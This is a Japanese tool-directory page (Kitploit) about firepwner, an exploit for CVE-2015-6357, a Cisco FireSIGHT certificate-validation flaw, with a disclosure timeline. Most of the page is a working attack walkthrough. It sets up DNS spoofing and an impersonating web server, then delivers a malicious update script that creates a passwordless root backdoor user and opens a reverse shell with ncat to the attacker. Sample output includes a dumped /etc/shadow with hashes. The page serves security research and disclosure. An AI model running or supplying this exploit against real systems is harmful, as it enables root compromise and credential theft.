Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
firepwner — CVE-2015-6357 Cisco FireSIGHT Management Center 証明書検証の脆弱性のエクスプロイト | Kitploit
ツール/GitHubGitHub/mattimustang/firepwner
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールDNS分析
GitHubmattimustang/firepwner

firepwner

CVE-2015-6357 Cisco FireSIGHT Management Center 証明書検証の脆弱性のエクスプロイト

リポジトリを見る
65310年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2015-6357: Cisco FireSIGHT Management Center SSL検証の脆弱性に対するFirePWNERエクスプロイト

はじめに

単独では、Cisco FireSIGHT Management Centerの証明書検証の脆弱性は中程度の深刻度で、CVSSスコアは5.1です。しかし、この脆弱性はSSL証明書の検証がなぜそれほど重要なのかを示す一例です。このエクスプロイトでは、この脆弱性を利用してCisco FireSIGHTシステム上で特権を伴うリモートコマンド実行を獲得する方法を実演します。このエクスプロイトは、SSL検証の脆弱性をCisco FireSIGHTシステムのソフトウェア更新プロセスと連鎖させ、標的のシステムを欺いて悪意のあるアップデートをダウンロードさせ、それを実行させてroot権限でリバースシェルを取得します。

だからこそSSL証明書を常に検証すべきなのです

脆弱性

Cisco FireSIGHT Management Centerアプライアンスは、Sourcefire IPSとしても知られるCisco FirePOWER侵入防止システム(IPS)を管理するために使用されます。FireSIGHTは、更新されたIPSシグネチャをダウンロードし、管理対象のIPSデバイスにインストールする役割を担っています。

FireSIGHT Management Centerを使用すると、管理者はIPSルールの更新を手動で開始したり、更新を毎日/毎週/毎月実行するようにスケジュールしたりできます。

FireSIGHT Management Centerが更新を実行するとき、Sourcefire SupportからのダウンロードにはUNIXコマンドのcurlを使用します。curlコマンドの呼び出しには-k(別名--insecure)オプションが渡され、サーバーが提示するSSL証明書を検証しないようにcurlに指示します。

以下は、サーバーが更新をダウンロードしているときのpsの出力です:

root@kitploit:~
admin@FIRESIGHT01:/var/sf$ ps -auxwww | grep curl
root      8351  0.0  0.0  37396  2708 ?        S    02:02   0:00 /usr/local/bin/curl -k -o /var/sf/updates/Sourcefire_Geodb_Update-2015-08-17-002.sh https://support.sourcefire.com/auto-update/auto-dl.cgi/XX:XX:XX:XX:XX:XX:XX/Download/files/Sourcefire_Geodb_Update-2015-08-17-002.sh

FireSIGHTの更新は、makeselfによって生成されたシェルスクリプトの形式で提供されます。このスクリプトには、UNIX Bourneシェルコマンドと、更新で配信されるバイナリデータの両方が含まれています。これらのシェル更新スクリプトは、FireSIGHTサーバー上でローカルのwwwユーザーとして直接実行されます。

FireSIGHTサーバーに対して中間者攻撃を実行できる攻撃者は、サーバーを強制的に偽装されたSourcefire Support Webサイトへ接続させ、攻撃者がFireSIGHTサーバー上で任意のコマンドを実行する悪意のある更新スクリプトをダウンロードさせることができます。

SSL検証の脆弱性により、この攻撃が可能になります。その結果、システムは攻撃者の偽装SSL証明書をいとも簡単に無視し、悪意のある更新をダウンロードして実行します。

もしcurlコマンドがSSL証明書を検証していれば、悪意のあるスクリプトのダウンロードに失敗し、FireSIGHTサーバーを攻撃者から保護できたはずです。

このエクスプロイトは、SSL証明書を検証しないことの危険性を示しています。この脆弱性を悪用して、rootユーザーとしてリモートコマンド実行を獲得します。

攻撃シナリオ

この攻撃シナリオでは、攻撃者はFireSIGHTサーバーからhttps://support.sourcefire.com Webサイトへのトラフィックを中間者攻撃する能力を獲得しています。これを最も簡単に実演する方法は、「侵害された」DNSサーバーをセットアップし、support.sourcefire.comドメインへの問い合わせに対して、攻撃者が制御するWebサーバーのIPアドレスで応答させることです。

実際の攻撃シナリオでは、攻撃者は同じ目的を達成するために、さまざまな中間者攻撃技術を使用する可能性があります。たとえば次のようなものです。

  • DNSキャッシュポイズニング
  • ARPスプーフィング(例:ettercap)

このエクスプロイトは、次のFireSIGHT Virtual Applianceのバージョンでテストされました:

  • 5.2.0
  • 5.3.0
  • 5.4.0
  • 5.4.1.1
  • 5.4.1.2

以下のPoCでは、FireSIGHTサーバーにはIPアドレス192.168.1.99が割り当てられています。

攻撃ホストはKali Linux 2.0を実行していましたが、以下のセットアップはDebian Linuxベースのどのサーバーでも動作するはずです。以下の例では、KaliホストのIPアドレスは192.168.1.1です。Kaliホストは、DNSサーバーと偽装されたSourcefire Support Webサイトの両方を実行するために使用されます。

dnsmasqをセットアップする

このエクスプロイトでは、support.sourcefire.comのDNS応答を偽装する機能が必要です。この機能を提供し、「侵害された」DNSサーバーとして機能するために、dnsmasqサーバーが実行されます。

dnsmasqをインストールする:

root@kitploit:~
root@kali# apt-get install dnsmasq

dnsmasqを設定する:

root@kitploit:~
root@kali# cat << EOF > /etc/dnsmasq.d/firepnwer.conf
address=/support.sourcefire.com/192.168.1.1
server=8.8.8.8
EOF

address行のIPアドレスを、更新ファイルを配信するWebサーバーのアドレスに編集してください。

dnsmasqを起動する:

root@kitploit:~
root@kali# service dnsmasq start

nginxをセットアップする

FireSIGHTサーバーが更新を要求するときに、エクスプロイトを配信するためのWebサーバーが必要です。

nginx Webサーバーをインストールする:

root@kitploit:~
root@kali# apt-get install nginx

support.sourcefire.comになりすますための自己署名証明書を作成する:

root@kitploit:~
root@kali# mkdir /etc/nginx/ssl

root@kali# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key \
 -out /etc/nginx/ssl/nginx.crt

Country Name (2 letter code) [AU]:AU
State or Province Name (full name) [Some-State]:New South Wales
Locality Name (eg, city) []:Newcastle
Organization Name (eg, company) [Internet Widgits Pty Ltd]:FirePWNER Exploit.
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:support.sourcefire.com
Email Address []:

/etc/nginx/sites-available/defaultの内容を次の内容に置き換えてnginxを設定します:

root@kitploit:~
server {
    listen 80 default_server;
    listen [::]:80 default_server;

    listen 443 ssl;

    root /var/www/html;

    index index.html index.htm index.nginx-debian.html;

    server_name support.sourcefire.com;
    ssl_certificate /etc/nginx/ssl/nginx.crt;
    ssl_certificate_key /etc/nginx/ssl/nginx.key;

    location / {
        try_files $uri $uri/ =404;
    }

    # rewrite requests that contain the clients license key
    location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* {
        rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2;
    }

    location /auto-update {
        root /var/www/html/firepwner;
    }

}

nginxを起動する:

root@kitploit:~
root@kali# service nginx start

エクスプロイトをセットアップする

FirePWNERエクスプロイトでは、Webサーバーから2つのファイルを配信する必要があります。最初のファイルは更新マニフェストで、利用可能な更新の一覧、そのダウンロード場所、MD5ハッシュを含むXMLファイルです。

最初にいくつかのディレクトリを作成する必要があります:

root@kitploit:~
root@kali# mkdir \
    /var/www/html/firepwner/auto-update/auto-dl.cgi/{Download/files,GetCurrent}

次に、エクスプロイトファイルをそれらの中にコピーします:

root@kitploit:~
root@kali# cp sf.xml /var/www/html/firepwner/auto-update/auto-dl.cgi/GetCurrent/sf.xml
root@kali# cp firepwner.sh \
    /var/www/html/firepwner/auto-update/auto-dl.cgi/Download/files/firepwner.sh

これらのファイルをコピーした後、http://192.168.1.1/auto-update/auto-dl.cgi/GetCurrent/sf.xmlにブラウザでアクセスできるはずです。

FireSIGHTサーバーのDNSを設定する

次に、エクスプロイトのデモンストレーションのために、FireSIGHTサーバーが「侵害された」DNSサーバーを使用するように設定する必要があります。FireSIGHT Webポータルにログインし、System > Local > Configure > Management Interfacesに移動して、プライマリDNSサーバーを「侵害された」DNSサーバーのIPアドレス(192.168.1.1)に設定し、変更を保存します。

エクスプロイトを実行する

このエクスプロイトは、FireSIGHTサーバーにデフォルトでインストールされているncatコマンドを使用して、Kaliホストへのリバースシェルを作成します。Kaliホストでは、FireSIGHTサーバーからのリバースシェル接続を待ち受ける必要があります:

root@kitploit:~
root@kali# ncat -v -l 4444

次に、FireSIGHT WebポータルでSystem > Updates > Rule Updatesに移動し、Download new rule update from the Support Siteを選択して、Importボタンをクリックします。サーバーは攻撃者のサーバーからsf.xml更新マニフェストをダウンロードし、利用可能な更新があることを確認して、その更新をダウンロードし、wwwユーザーとして実行します。以下の更新/エクスプロイトスクリプトは、wwwユーザーがuseraddを含むいくつかのsudoコマンドを実行できるという事実を利用しています。このエクスプロイトは、空のパスワードを持つ新しいtoorユーザーを作成し、suを使用して権限を昇格させ、攻撃者のサーバーへのリバースシェル接続を開始します。

root@kitploit:~
#!/bin/sh
# add a new UID 0 "toor" user with an empty password
sudo useradd -o -p '$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.' -g root -c toor -u 0 -s /bin/sh \
 -d /root toor
# su to toor and start the reverse shell
echo | su - toor -c "/usr/local/sf/nmap/bin/ncat -e /bin/sh support.sourcefire.com 4444"
exit 0

エクスプロイトスクリプトは、他の任意のコマンドを実行するように変更してもかまいません。スクリプトを変更した場合は、sf.xml内の<md5sum> XMLタグの値を、エクスプロイトスクリプトの新しいMD5ハッシュで更新する必要があります。

これは、エクスプロイトが成功し、FireSIGHTサーバー上でリモートシェルが開かれ、idコマンドとcat /etc/passwdコマンドが実行されたときに、Kaliホストで表示される出力の例です:

root@kitploit:~
root@kali# ncat -v -l 4444
Ncat: Version 6.49BETA4 ( http://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.99.
Ncat: Connection from 192.168.1.99:41637.
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow
root:x:11869:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
mysql:*:9797:0:::::
nobody:*:9797:0:::::
sshd:*:9797:0:::::
www:*:9797:0:::::
sfsnort:*:9797:0:::::
sfremediation:*:9797:0:::::
sfrna:*:9797:0:::::
snorty:*:9797:0:::::
admin:$6$GCOeXpyR$Qhq6Eq5aSW8n.15RajwYrHVLud8NaN4aKEkVXC43I5m/X.ux/bgIHAplYifOaxTIxaIThqOBGmZgO5aey5tjE/:11869:0:::::
toor:$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.:16679:0:99999:7:::

エクスプロイトを入手する

このエクスプロイトで使用されるファイルはgithubから入手できます。

開示のタイムライン

  • 2015-08-31 FireSIGHT 5.4.xで脆弱性を発見し、Matthew Flanaganがエクスプロイトを開発。
  • 2015-09-01 Cisco PSIRT([email protected])に最初の連絡。
  • 2015-09-01 PSIRTが詳細情報を求めて返信。
  • 2015-09-01 Matthew FlanaganがPSIRTに脆弱性の完全なレポートとエクスプロイトを提供。
  • 2015-09-02 PSIRTがFireSIGHTの不具合を起票、インシデント番号はPSIRT-190974966。
  • 2015-09-15 Matthew FlanaganがCisco PSIRTに、バージョン5.2.0と5.3.0も影響を受けると報告。
  • 2015-10-16 PSIRTが脆弱性に割り当てたCVSSスコアを通知。
  • 2015-11-09 PSIRTがCVE ID CVE-2015-6357を割り当て。
  • 2015-11-16 Cisco FireSIGHT Management Center Certificate Validation Vulnerabilityが公開。
  • 2015-11-16 Matthew Flanaganの調査結果が公開。
ツールをダウンロード